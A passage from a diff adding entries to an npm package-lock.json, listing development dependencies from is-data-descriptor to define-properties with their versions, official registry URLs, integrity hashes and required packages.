"https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "binary-extensions": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz", + "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==", + "dev": true + }, + "bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "dev": true, + "optional": true, + "requires": { + "file-uri-to-path": "1.0.0" + } + }, + "bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + } + }, + "browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==", + "dev": true + }, + "browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", + "dev": true + }, + "browserslist": { + "version": "4.21.9", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.9.tgz", + "integrity": "sha512-M0MFoZzbUrRU4KNfCrDLnvyE7gub+peetoTid3TBIqtunaDJyXlwhakT+/VkvSXcfIzFfK/nkCs4nmyTmxdNSg==", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30001503", + "electron-to-chromium": "^1.4.431", + "node-releases": "^2.0.12", + "update-browserslist-db": "^1.0.11" + } + }, + "buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "dev": true + }, + "buffer-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-1.0.1.tgz", + "integrity": "sha512-QoV3ptgEaQpvVwbXdSO39iqPQTCxSF7A5U99AxbHYqUdCizL/lH2Z0A2y6nbZucxMEOtNyZfG2s6gsVugGpKkg==", + "dev": true + }, + "buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", + "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", + "dev": true, + "requires": { + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" + } + }, + "caching-transform": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/caching-transform/-/caching-transform-4.0.0.tgz", + "integrity": "sha512-kpqOvwXnjjN44D89K5ccQC+RUrsy7jB/XLlRrx0D7/2HNcTPqzsb6XgYoErwko6QsV184CA2YgS1fxDiiDZMWA==", + "dev": true, + "requires": { + "hasha": "^5.0.0", + "make-dir": "^3.0.0", + "package-hash": "^4.0.0", + "write-file-atomic": "^3.0.0" + }, + "dependencies": { + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + } + } + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true + }, + "camel-case": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz", + "integrity": "sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==", + "dev": true, + "requires": { + "no-case": "^2.2.0", + "upper-case": "^1.1.1" + } + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true + }, + "camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true + }, + "caniuse-lite": { + "version": "1.0.30001517", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001517.tgz", + "integrity": "sha512-Vdhm5S11DaFVLlyiKu4hiUTkpZu+y1KA/rZZqVQfOD5YdDT/eQKlkt7NaE0WGOFgX32diqt9MiP9CAiFeRklaA==", + "dev": true + }, + "catharsis": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/catharsis/-/catharsis-0.9.0.tgz", + "integrity": "sha512-prMTQVpcns/tzFgFVkVp6ak6RykZyWb3gu8ckUpd6YkTlacOd3DXGJjIpD4Q6zJirizvaiAjSSHlOsA+6sNh2A==", + "dev": true, + "requires": { + "lodash": "^4.17.15" + } + }, + "chai": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.4.tgz", + "integrity": "sha512-yS5H68VYOCtN1cjfwumDSuzn/9c+yza4f3reKXlE5rUg7SFcCEy90gJvydNgOYtblyf4Zi6jIWRnXOgErta0KA==", + "dev": true, + "requires": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.2", + "deep-eql": "^3.0.1", + "get-func-name": "^2.0.0", + "pathval": "^1.1.1", + "type-detect": "^4.0.5" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "check-error": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz", + "integrity": "sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA==", + "dev": true + }, + "chokidar": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", + "dev": true, + "requires": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "fsevents": "^1.2.7", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + }, + "dependencies": { + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==", + "dev": true, + "requires": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==", + "dev": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + } + } + }, + "chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "dev": true, + "peer": true + }, + "class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", + "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", + "dev": true, + "requires": { + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" + } + }, + "clean-css": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz", + "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==", + "dev": true, + "requires": { + "source-map": "~0.6.0" + } + }, + "clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true + }, + "cli-spinner": { + "version": "0.2.10", + "resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz", + "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==", + "dev": true + }, + "cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "clone": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz", + "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==", + "dev": true + }, + "clone-buffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/clone-buffer/-/clone-buffer-1.0.0.tgz", + "integrity": "sha512-KLLTJWrvwIP+OPfMn0x2PheDEP20RPUcGXj/ERegTgdmPEZylALQldygiqrPPu8P45uNuPs7ckmReLY6v/iA5g==", + "dev": true + }, + "clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + } + }, + "clone-stats": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz", + "integrity": "sha512-au6ydSpg6nsrigcZ4m8Bc9hxjeW+GJ8xh5G3BJCMt4WXe1H10UNaVOamqQTmrx1kjVuxAHIQSNU6hY4Nsn9/ag==", + "dev": true + }, + "cloneable-readable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/cloneable-readable/-/cloneable-readable-1.1.3.tgz", + "integrity": "sha512-2EF8zTQOxYq70Y4XKtorQupqF0m49MBz2/yf5Bj+MHjvpG3Hy7sImifnqD6UA+TKYxeSV+u6qqQPawN5UvnpKQ==", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "process-nextick-args": "^2.0.0", + "readable-stream": "^2.3.5" + } + }, + "code-point-at": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", + "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==", + "dev": true + }, + "collection-map": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-map/-/collection-map-1.0.0.tgz", + "integrity": "sha512-5D2XXSpkOnleOI21TG7p3T0bGAsZ/XknZpKBmGYyluO8pw4zA3K8ZlrBIbC4FXg3m6z/RNFiUFfT2sQK01+UHA==", + "dev": true, + "requires": { + "arr-map": "^2.0.2", + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + } + }, + "collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", + "integrity": "sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==", + "dev": true, + "requires": { + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "color-support": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", + "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "dev": true + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.2.0.tgz", + "integrity": "sha512-LLKxDvHeL91/8MIyTAD5BFMNtoIwztGPMiM/7Bl8rIPmHCZXRxmSWr91h57dpOpnQ6jIUqEWdXE/uBYMfiVZDA==", + "dev": true + }, + "commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true + }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "concat-with-sourcemaps": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/concat-with-sourcemaps/-/concat-with-sourcemaps-1.1.0.tgz", + "integrity": "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==", + "dev": true, + "requires": { + "source-map": "^0.6.1" + } + }, + "convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "dev": true + }, + "copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", + "integrity": "sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==", + "dev": true + }, + "copy-props": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/copy-props/-/copy-props-2.0.5.tgz", + "integrity": "sha512-XBlx8HSqrT0ObQwmSzM7WE5k8FxTV75h1DX1Z3n6NhQ/UYYAvInWYmG06vFt7hQZArE2fuO62aihiWIVQwh1sw==", + "dev": true, + "requires": { + "each-props": "^1.3.2", + "is-plain-object": "^5.0.0" + }, + "dependencies": { + "is-plain-object": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", + "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", + "dev": true + } + } + }, + "core-js-compat": { + "version": "3.31.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.31.1.tgz", + "integrity": "sha512-wIDWd2s5/5aJSdpOJHfSibxNODxoGoWOBHt8JSPB41NOE94M7kuTPZCYLOlTtuoXTsBPKobpJ6T+y0SSy5L9SA==", + "dev": true, + "requires": { + "browserslist": "^4.21.9" + } + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true + }, + "cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "requires": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + } + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true + }, + "cssom": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", + "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", + "dev": true + }, + "cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dev": true, + "requires": { + "cssom": "~0.3.6" + }, + "dependencies": { + "cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", + "dev": true + } + } + }, + "d": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz", + "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==", + "dev": true, + "requires": { + "es5-ext": "^0.10.50", + "type": "^1.0.1" + } + }, + "data-urls": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", + "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "dev": true, + "requires": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0" + }, + "dependencies": { + "whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dev": true, + "requires": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + } + } + } + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "dev": true + }, + "decimal.js": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==", + "dev": true + }, + "decode-uri-component": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz", + "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==", + "dev": true + }, + "deep-eql": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", + "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", + "dev": true, + "requires": { + "type-detect": "^4.0.0" + } + }, + "deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "default-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/default-compare/-/default-compare-1.0.0.tgz", + "integrity": "sha512-QWfXlM0EkAbqOCbD/6HjdwT19j7WCkMyiRhWilc4H9/5h/RzTF9gv5LYh1+CmDV5d1rki6KAWLtQale0xt20eQ==", + "dev": true, + "requires": { + "kind-of": "^5.0.2" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "default-require-extensions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/default-require-extensions/-/default-require-extensions-3.0.1.tgz", + "integrity": "sha512-eXTJmRbm2TIt9MgWTsOH1wEuhew6XGZcMeGKCtLedIg/NCsg1iBePXkceTdK4Fii7pzmN9tGsZhKzZ4h7O/fxw==", + "dev": true, + "requires": { + "strip-bom": "^4.0.0" + } + }, + "default-resolution": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/default-resolution/-/default-resolution-2.0.0.tgz", + "integrity": "sha512-2xaP6GiwVwOEbXCGoJ4ufgC76m8cj805jrghScewJC2ZDsb9U0b4BIrba+xt/Uytyd0HvQ6+WymSRTfnYj59GQ==", + "dev": true + }, + "define-properties": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", + "integrity": 